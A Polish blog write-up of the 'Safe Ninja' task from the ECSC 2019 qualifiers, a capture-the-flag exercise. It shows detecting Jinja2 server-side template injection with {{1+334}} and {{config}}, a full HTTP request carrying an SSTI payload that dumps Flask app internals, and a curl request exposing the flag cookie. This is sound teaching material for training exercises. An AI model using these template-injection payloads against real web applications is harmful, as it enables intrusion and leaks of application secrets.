piątek, 28 czerwca 2019

European Cyber Security Challenge 2019 Safe Ninja - writeup

Co roku pod przewodnictwem Europejskiej Agencji ds. Bezpieczeństwa Sieci i Informacji organizowane są europejskie ćwiczenia bezpieczeństwa IT: European Cyber Security Challenge. W 2019 roku udział wezmą reprezentacje narodowe 19 krajów UE oraz EFTA. Finały odbędą się w Bukareszcie, a za przeprowadzenie krajowych kwalifikacji odpowiada CERT Polska, część Naukowej i Akademickiej Sieci Komputerowej.

Poniżej prezentuje jak rozwiązać jedno z zadań -  Safe Ninja


W tym zadaniu występuje klasyczna podatność SSTI. Możemy ją dość szybko wskazać przez np. przesłanie zmiennej {{1+334}} która zwróci nam wynik 335.  Później należy sprawdzić, który z systemu szablonów jest używany. Akurat pracowałem w tym czasie nad inną podatnością SSTI dlatego od razu sprawdziłem {{config}} który wskazał mi system szablonów Jinja2. 

Później już z górki i wyniki prezentuje poniżej. Co prawda dość długo zeszło mi na znalezieniu flagi. Na początku nie zauważyłem kolejnego z adresów url_map i próbowałem innych sztuczek z SSTI jak np. czytanie plików czy połączenie z powłoką ale nie tedy droga. Sama flaga została ukryta w cookies.



POST / HTTP/1.1
Host: safeninja.ecsc19.hack.cert.pl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://safeninja.ecsc19.hack.cert.pl/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------31681657624019
Content-Length: 337

-----------------------------31681657624019
Content-Disposition: form-data; name="title"

121
-----------------------------31681657624019
Content-Disposition: form-data; name="content"; filename="systemy.html"
Content-Type: text/plain

{{url_for.__globals__.current_app.__dict__}}
-----------------------------31681657624019--



HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Jun 2019 06:58:39 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1017

<html>
<head>
<link crossorigin="anonymous" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" rel="stylesheet"></link>
<title>Create new web page</title>
</head>
<body>
<div class="container">
<h1>
Create new web page</h1>

<div>
<a href="https://www.blogger.com/page/feac7744bd048510f979b1475c53c079661ef0153f7c91b80a43a8f66d63e9e8">/page/feac7744bd048510f979b1475c53c079661ef0153f7c91b80a43a8f66d63e9e8</a>
</div>

<form enctype="multipart/form-data" method="POST">
    <div class="form-group">
    <label for="title">Title</label>
<input class="form-control" id="title" name="title" placeholder="Title" type="text" />
</div>
<div class="form-group">
    <label for="content">Content (only valid HTML files, no malware allowed)</label>
<input class="form-control-file" id="content" name="content" type="file" />
</div>
<button class="btn btn-primary" type="submit">Submit</button>
</form>
</div>
</body>
</html>





ECSC 2019 SAFE NINJA


root@kali:~# curl https://safeninja.ecsc19.hack.cert.pl/giiXXXXXXXXXXXXXXXX -I
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Jun 2019 07:10:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Set-Cookie: flag="ecsc19{it's_not_safeXXXXXXXXXXXXXXXX}"; Path=/

Brak komentarzy:

Prześlij komentarz

Proszę zostaw swój komentarz w celu dopowiedzenia tego czego ja nie wiedziałem lub wywołania ciekawej dyskusji. Wprowadziłem moderowanie komentarzy ze względu na dużą popularność bloga wśród różnych SEO botów :)